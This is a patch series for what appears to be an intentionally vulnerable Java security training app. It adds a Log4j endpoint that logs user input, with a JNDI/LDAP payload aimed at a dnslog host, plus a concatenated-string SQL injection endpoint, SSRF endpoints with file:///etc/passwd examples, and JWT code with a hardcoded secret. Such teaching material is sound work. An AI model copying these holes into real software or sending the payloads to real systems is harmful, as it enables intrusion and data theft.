From ed281042e28ba3292c126844ca9df90df39a68b7 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 31 Mar 2022 15:43:26 +0800 Subject: [PATCH 01/15] add log4j --- README.md | 1 + README_zh.md | 1 + java-sec-code.iml | 4 +-- pom.xml | 9 +++++- .../java/org/joychou/controller/Log4j.java | 29 +++++++++++++++++++ .../java/org/joychou/controller/SQLI.java | 2 +- .../java/org/joychou/controller/SSRF.java | 2 +- .../java/org/joychou/filter/OriginFilter.java | 1 + .../joychou/security/ssrf/SSRFChecker.java | 4 +-- src/main/java/org/joychou/util/HttpUtils.java | 13 +++++---- src/main/resources/application.properties | 2 +- 11 files changed, 54 insertions(+), 14 deletions(-) create mode 100644 src/main/java/org/joychou/controller/Log4j.java diff --git a/README.md b/README.md index c52fd3d9..d4d62134 100644 --- a/README.md +++ b/README.md @@ -37,6 +37,7 @@ Sort by letter. - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) diff --git a/README_zh.md b/README_zh.md index 97693583..8beb7805 100644 --- a/README_zh.md +++ b/README_zh.md @@ -32,6 +32,7 @@ joychou/joychou123 - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) diff --git a/java-sec-code.iml b/java-sec-code.iml index e8317c18..9f5f1029 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -79,8 +79,8 @@ - - + + diff --git a/pom.xml b/pom.xml index bcb6fc14..e22713da 100644 --- a/pom.xml +++ b/pom.xml @@ -100,7 +100,13 @@ org.apache.logging.log4j log4j-core - 2.8.2 + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 @@ -129,6 +135,7 @@ spring-boot-starter-actuator + org.springframework.cloud spring-cloud-starter-netflix-eureka-client diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java new file mode 100644 index 00000000..ada8a394 --- /dev/null +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Log4j { + + private static final Logger logger = LogManager.getLogger("Log4j"); + + /** + * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999} + * Default: error/fatal/off + * Fix: Update log4j to lastet version. + * @param token token + */ + @GetMapping("/log4j") + public String log4j(String token) { + if(token.equals("java-sec-code")) { + return "java sec code"; + } else { + logger.error(token); + return "error"; + } + } + +} diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 7ea518a5..afabfe15 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -43,7 +43,7 @@ public class SQLI { /** * Vuln Code. - * http://localhost:8080/sqli/jdbc/vul?username=joychou + * http://localhost:8080/sqli/jdbc/vuln?username=joychou * * @param username username */ diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 8645fd13..aa76f9fe 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -67,7 +67,7 @@ public String URLConnectionSec(String url) { public String httpURLConnection(@RequestParam String url) { try { SecurityUtil.startSSRFHook(); - return HttpUtils.HTTPURLConnection(url); + return HttpUtils.HttpURLConnection(url); } catch (SSRFException | IOException e) { return e.getMessage(); } finally { diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 32195a27..d57f667a 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletResponse; import java.io.IOException; +import org.apache.catalina.servlet4preview.http.HttpFilter; import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 01b1b350..0930e2b5 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -147,8 +147,8 @@ static boolean isInternalIp(String strIP) { /** * host转换为IP * 会将各种进制的ip转为正常ip - * 167772161转换为10.0.0.1 - * 127.0.0.1.xip.io转换为127.0.0.1 + * 167772161 转换为 10.0.0.1 + * 127.0.0.1.xip.io 转换为 127.0.0.1 * * @param host 域名host */ diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index 4d2be1a4..4f608301 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -5,7 +5,6 @@ import org.apache.commons.httpclient.methods.GetMethod; import org.apache.commons.io.IOUtils; import org.apache.http.HttpResponse; -import org.apache.http.client.config.RequestConfig; import org.apache.http.client.fluent.Request; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; @@ -21,6 +20,7 @@ import javax.imageio.ImageIO; import java.io.BufferedReader; import java.io.IOException; +import java.io.InputStream; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URI; @@ -33,7 +33,7 @@ */ public class HttpUtils { - private static Logger logger = LoggerFactory.getLogger(HttpUtils.class); + private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class); public static String commonHttpClient(String url) { @@ -110,12 +110,14 @@ public static String URLConnection(String url) { } - public static String HTTPURLConnection(String url) { + public static String HttpURLConnection(String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); - HttpURLConnection httpUrl = (HttpURLConnection) urlConnection; - BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request + HttpURLConnection conn = (HttpURLConnection) urlConnection; + // Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField + InputStream is = conn.getInputStream(); // send request + BufferedReader in = new BufferedReader(new InputStreamReader(is)); String inputLine; StringBuilder html = new StringBuilder(); @@ -206,7 +208,6 @@ public static String HttpAsyncClients(String url) { logger.error(e.getMessage()); } } - } } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 6f920495..96ca82c3 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -9,7 +9,7 @@ logging.level.org.joychou.mapper=debug # Spring Boot Actuator Config management.security.enabled=false -endpoints.enabled=false +endpoints.enabled=true # logging.config=classpath:logback-online.xml From 707d395a77a6e42f7483fa1257fb6a74f301e7ae Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 21 Sep 2022 12:19:48 +0800 Subject: [PATCH 02/15] add jwt --- README.md | 3 +- README_zh.md | 3 +- java-sec-code.iml | 4 +- pom.xml | 21 ++++ src/main/java/org/joychou/Application.java | 1 - .../org/joychou/controller/Deserialize.java | 3 + src/main/java/org/joychou/controller/Jwt.java | 62 +++++++++++ .../java/org/joychou/controller/SQLI.java | 44 ++++++++ .../java/org/joychou/controller/SSRF.java | 5 + .../java/org/joychou/util/CookieUtils.java | 24 ++++ src/main/java/org/joychou/util/HttpUtils.java | 14 ++- src/main/java/org/joychou/util/JwtUtils.java | 103 ++++++++++++++++++ src/main/resources/templates/index.html | 5 + 13 files changed, 287 insertions(+), 5 deletions(-) create mode 100644 src/main/java/org/joychou/controller/Jwt.java create mode 100644 src/main/java/org/joychou/util/CookieUtils.java create mode 100644 src/main/java/org/joychou/util/JwtUtils.java diff --git a/README.md b/README.md index d4d62134..edfda09c 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,7 @@ Sort by letter. - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) - +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) ## Vulnerability Description @@ -75,6 +75,7 @@ Sort by letter. - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) ## How to run diff --git a/README_zh.md b/README_zh.md index 8beb7805..111c8be3 100644 --- a/README_zh.md +++ b/README_zh.md @@ -51,7 +51,7 @@ joychou/joychou123 - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) - +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) ## 漏洞说明 @@ -68,6 +68,7 @@ joychou/joychou123 - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/java-sec-code.iml b/java-sec-code.iml index 9f5f1029..445cfa46 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -86,7 +86,6 @@ - @@ -219,5 +218,8 @@ + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index e22713da..aa8e89a5 100644 --- a/pom.xml +++ b/pom.xml @@ -279,6 +279,27 @@ junit + + + commons-beanutils + commons-beanutils + 1.9.4 + + + + + io.jsonwebtoken + jjwt + 0.9.1 + + + + + com.auth0 + java-jwt + 4.0.0 + + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 0f04b2c8..41169b9a 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -8,7 +8,6 @@ import org.springframework.cloud.netflix.eureka.EnableEurekaClient; - @ServletComponentScan // do filter @SpringBootApplication // @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 45662e9c..9531e980 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -57,6 +57,9 @@ public String rememberMeVul(HttpServletRequest request) /** * Check deserialize class using black list. + * Or + * Update commons-collections to 3.2.2 or above. + * Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources. *

* http://localhost:8080/deserialize/rememberMe/security */ diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java new file mode 100644 index 00000000..522fd44a --- /dev/null +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -0,0 +1,62 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.joychou.util.CookieUtils; +import org.joychou.util.JwtUtils; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +/** + * + */ +@Slf4j +@RestController +@RequestMapping("/jwt") +public class Jwt { + + private static final String COOKIE_NAME = "USER_COOKIE"; + /** + * http://localhost:8080/jwt/createToken + * Create jwt token and set token to cookies. + * + * @author JoyChou 2022-09-20 + */ + @GetMapping("/createToken") + public String createToken(HttpServletResponse response, HttpServletRequest request) { + String loginUser = request.getUserPrincipal().getName(); + log.info("Current login user is " + loginUser); + + CookieUtils.deleteCookie(response, COOKIE_NAME); + String token = JwtUtils.generateTokenByJavaJwt(loginUser); + Cookie cookie = new Cookie(COOKIE_NAME, token); + + cookie.setMaxAge(86400); // 1 DAY + cookie.setPath("/"); + cookie.setSecure(true); + response.addCookie(cookie); + return "Add jwt token cookie successfully. Cookie name is USER_COOKIE"; + } + + + /** + * http://localhost:8080/jwt/getName + * Get nickname from USER_COOKIE + * + * @author JoyChou 2022-09-20 + * @param user_cookie cookie + * @return nickname + */ + @GetMapping("/getName") + public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) { + String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie); + return "Current jwt user is " + nickname; + } + +} diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index afabfe15..6682115c 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -130,6 +130,50 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { return result.toString(); } + + /** + * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a + * + * Incorrect use of prepareStatement. prepareStatement must use ? as a placeholder. + */ + @RequestMapping("/jdbc/ps/vuln") + public String jdbc_ps_vuln(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + String sql = "select * from users where username = '" + username + "'"; + PreparedStatement st = con.prepareStatement(sql); + + logger.info(st.toString()); + ResultSet rs = st.executeQuery(); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } + + rs.close(); + con.close(); + + } catch (ClassNotFoundException e) { + logger.error("Sorry, can`t find the Driver!"); + e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + + /** * vuln code * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index aa76f9fe..3f9a8762 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -76,6 +76,11 @@ public String httpURLConnection(@RequestParam String url) { } + @GetMapping("/HttpURLConnection/vuln") + public String httpURLConnectionVuln(@RequestParam String url) { + return HttpUtils.HttpURLConnection(url); + } + /** * The default setting of followRedirects is true. * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java new file mode 100644 index 00000000..eddae0db --- /dev/null +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -0,0 +1,24 @@ +package org.joychou.util; + +import lombok.extern.slf4j.Slf4j; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + + +@Slf4j +public class CookieUtils { + + public static boolean deleteCookie(HttpServletResponse res, String cookieName) { + try { + Cookie cookie = new Cookie(cookieName, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } +} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index 4f608301..d0be6dd3 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -110,12 +110,17 @@ public static String URLConnection(String url) { } + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ public static String HttpURLConnection(String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection conn = (HttpURLConnection) urlConnection; - // Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField +// conn.setInstanceFollowRedirects(false); +// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField InputStream is = conn.getInputStream(); // send request BufferedReader in = new BufferedReader(new InputStreamReader(is)); String inputLine; @@ -165,6 +170,13 @@ public static String okhttp(String url) throws IOException { } + /** + * The default setting of followRedirects is true. + * + * UserAgent is Java/1.8.0_102. + * + * @param url http request url + */ public static void imageIO(String url) { try { URL u = new URL(url); diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java new file mode 100644 index 00000000..3ee6c89d --- /dev/null +++ b/src/main/java/org/joychou/util/JwtUtils.java @@ -0,0 +1,103 @@ +package org.joychou.util; + +import com.auth0.jwt.JWT; +import com.auth0.jwt.JWTVerifier; +import com.auth0.jwt.algorithms.Algorithm; +import com.auth0.jwt.exceptions.JWTVerificationException; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import lombok.extern.slf4j.Slf4j; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Date; + +@Slf4j +public class JwtUtils { + + private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY + private static final String SECRET = "123456"; + private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8)); + + /** + * Generate JWT Token by jjwt (last update time: Jul 05, 2018) + * + * @author JoyChou 2022-09-20 + * @param userId userid + * @return token + */ + public static String generateTokenByJjwt(String userId) { + return Jwts.builder() + .setHeaderParam("typ", "JWT") // header + .setHeaderParam("alg", "HS256") // header + .setIssuedAt(new Date()) // token发布时间 + .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间 + .claim("userid", userId) + // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。 + .signWith(SignatureAlgorithm.HS256, B64_SECRET) + .compact(); + } + + public static String getUserIdFromJjwtToken(String token) { + try { + Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody(); + return (String)claims.get("userid"); + } catch (Exception e) { + return e.toString(); + } + } + + /** + * Generate jwt token by java-jwt. + * + * @author JoyChou 2022-09-20 + * @param nickname nickname + * @return jwt token + */ + public static String generateTokenByJavaJwt(String nickname) { + return JWT.create() + .withClaim("nickname", nickname) + .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE)) + .withIssuedAt(new Date()) + .sign(Algorithm.HMAC256(SECRET)); + } + + + /** + * Verify JWT Token + * @param token token + * @return Valid token returns true. Invalid token returns false. + */ + public static Boolean verifyTokenByJavaJwt(String token) { + try { + Algorithm algorithm = Algorithm.HMAC256(SECRET); + JWTVerifier verifier = JWT.require(algorithm).build(); + verifier.verify(token); + return true; + } catch (JWTVerificationException exception){ + log.error(exception.toString()); + return false; + } + } + + + public static String getNicknameByJavaJwt(String token) { + if (!verifyTokenByJavaJwt(token)) { + log.error("token is invalid"); + return null; + } + return JWT.decode(token).getClaim("nickname").asString(); + } + + + public static void main(String[] args) { + String jjwtToken = generateTokenByJjwt("10000"); + System.out.println(jjwtToken); + System.out.println(getUserIdFromJjwtToken(jjwtToken)); + + String token = generateTokenByJavaJwt("JoyChou"); + System.out.println(token); + System.out.println(getNicknameByJavaJwt(token)); + } +} diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 9d27f958..8511d5fd 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -21,6 +21,11 @@ ooxml XXE   xlsx-streamer XXE

+ +

+ JWTCreateToken + GetUserFromJWTToken +

...

logout From e4190d6213d4892d7b49cb15d016d833d011562c Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 21 Oct 2022 20:13:28 +0800 Subject: [PATCH 03/15] Add RestTemplate SSRF --- .../org/joychou/config/HttpServiceConfig.java | 38 ++++++++++++++++ .../java/org/joychou/controller/SSRF.java | 31 ++++++++++++- .../java/org/joychou/filter/OriginFilter.java | 2 - .../org/joychou/impl/HttpServiceImpl.java | 44 +++++++++++++++++++ .../java/org/joychou/service/HttpService.java | 11 +++++ src/main/java/org/joychou/util/HttpUtils.java | 1 - src/main/java/org/joychou/util/JwtUtils.java | 1 + 7 files changed, 124 insertions(+), 4 deletions(-) create mode 100644 src/main/java/org/joychou/config/HttpServiceConfig.java create mode 100644 src/main/java/org/joychou/impl/HttpServiceImpl.java create mode 100644 src/main/java/org/joychou/service/HttpService.java diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java new file mode 100644 index 00000000..64477bd4 --- /dev/null +++ b/src/main/java/org/joychou/config/HttpServiceConfig.java @@ -0,0 +1,38 @@ +package org.joychou.config; + +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.client.SimpleClientHttpRequestFactory; +import org.springframework.web.client.RestTemplate; + +import java.io.IOException; +import java.net.HttpURLConnection; + + +class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { + + + @Override + protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException { + super.prepareConnection(connection, httpMethod); + // Use custom ClientHttpRequestFactory to set followRedirects false. + connection.setInstanceFollowRedirects(false); + } +} + +@Configuration +public class HttpServiceConfig { + + @Bean + public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) { + return builder.requestFactory(CustomClientHttpRequestFactory.class).build(); + } + + + @Bean + public RestTemplate restTemplate(RestTemplateBuilder builder) { + return builder.build(); + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 3f9a8762..72044a7a 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -2,12 +2,16 @@ import org.joychou.security.SecurityUtil; import org.joychou.security.ssrf.SSRFException; +import org.joychou.service.HttpService; import org.joychou.util.HttpUtils; import org.joychou.util.WebUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.*; @@ -23,8 +27,10 @@ @RequestMapping("/ssrf") public class SSRF { - private static Logger logger = LoggerFactory.getLogger(SSRF.class); + private static final Logger logger = LoggerFactory.getLogger(SSRF.class); + @Resource + private HttpService httpService; /** * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd @@ -266,4 +272,27 @@ public String HttpSyncClients(@RequestParam("url") String url) { } + /** + * http://127.0.0.1:8080/ssrf/restTemplate/vuln?url=http://www.baidu.com

+ * Only support HTTP protocol.

+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects

+ * User-Agent: Java/1.8.0_102

+ */ + @GetMapping("/restTemplate/vuln1") + public String RestTemplateUrlBanRedirects(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttpBanRedirects(url, headers); + } + + + @GetMapping("/restTemplate/vuln2") + public String RestTemplateUrl(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttp(url, headers); + } + + + } diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index d57f667a..271a4562 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -6,8 +6,6 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; - -import org.apache.catalina.servlet4preview.http.HttpFilter; import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java new file mode 100644 index 00000000..d3bbf3a1 --- /dev/null +++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java @@ -0,0 +1,44 @@ +package org.joychou.impl; + + +import org.joychou.service.HttpService; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Service; +import org.springframework.web.client.RestTemplate; +import org.springframework.http.HttpMethod; + +import javax.annotation.Resource; + +@Service +public class HttpServiceImpl implements HttpService { + + @Resource + private RestTemplate restTemplate; + + @Resource + private RestTemplate restTemplateBanRedirects; + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttp(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: Disable followRedirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttpBanRedirects(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } +} diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java new file mode 100644 index 00000000..198a5311 --- /dev/null +++ b/src/main/java/org/joychou/service/HttpService.java @@ -0,0 +1,11 @@ +package org.joychou.service; + + +import org.springframework.http.HttpHeaders; + +public interface HttpService { + + String RequestHttp(String url, HttpHeaders headers); + + String RequestHttpBanRedirects(String url, HttpHeaders headers); +} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index d0be6dd3..a5b67dad 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -221,5 +221,4 @@ public static String HttpAsyncClients(String url) { } } } - } diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java index 3ee6c89d..bb33642e 100644 --- a/src/main/java/org/joychou/util/JwtUtils.java +++ b/src/main/java/org/joychou/util/JwtUtils.java @@ -83,6 +83,7 @@ public static Boolean verifyTokenByJavaJwt(String token) { public static String getNicknameByJavaJwt(String token) { + // If the signature is not verified, there will be security issues. if (!verifyTokenByJavaJwt(token)) { log.error("token is invalid"); return null; From 9acefb2b0c0d32b2cd07e83219b276f94cdb32e7 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 21 Nov 2022 18:44:54 +0800 Subject: [PATCH 04/15] add jwt --- java-sec-code.iml | 1 + pom.xml | 6 ++++++ src/main/java/org/joychou/controller/SSRF.java | 16 +++++++++++++++- 3 files changed, 22 insertions(+), 1 deletion(-) diff --git a/java-sec-code.iml b/java-sec-code.iml index 445cfa46..9b423c61 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -221,5 +221,6 @@ + \ No newline at end of file diff --git a/pom.xml b/pom.xml index aa8e89a5..751a4b35 100644 --- a/pom.xml +++ b/pom.xml @@ -300,6 +300,12 @@ 4.0.0 + + cn.hutool + hutool-all + 5.8.10 + + diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 72044a7a..b4c4bde8 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import cn.hutool.http.HttpUtil; import org.joychou.security.SecurityUtil; import org.joychou.security.ssrf.SSRFException; import org.joychou.service.HttpService; @@ -273,7 +274,7 @@ public String HttpSyncClients(@RequestParam("url") String url) { /** - * http://127.0.0.1:8080/ssrf/restTemplate/vuln?url=http://www.baidu.com

+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com

* Only support HTTP protocol.

* Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects

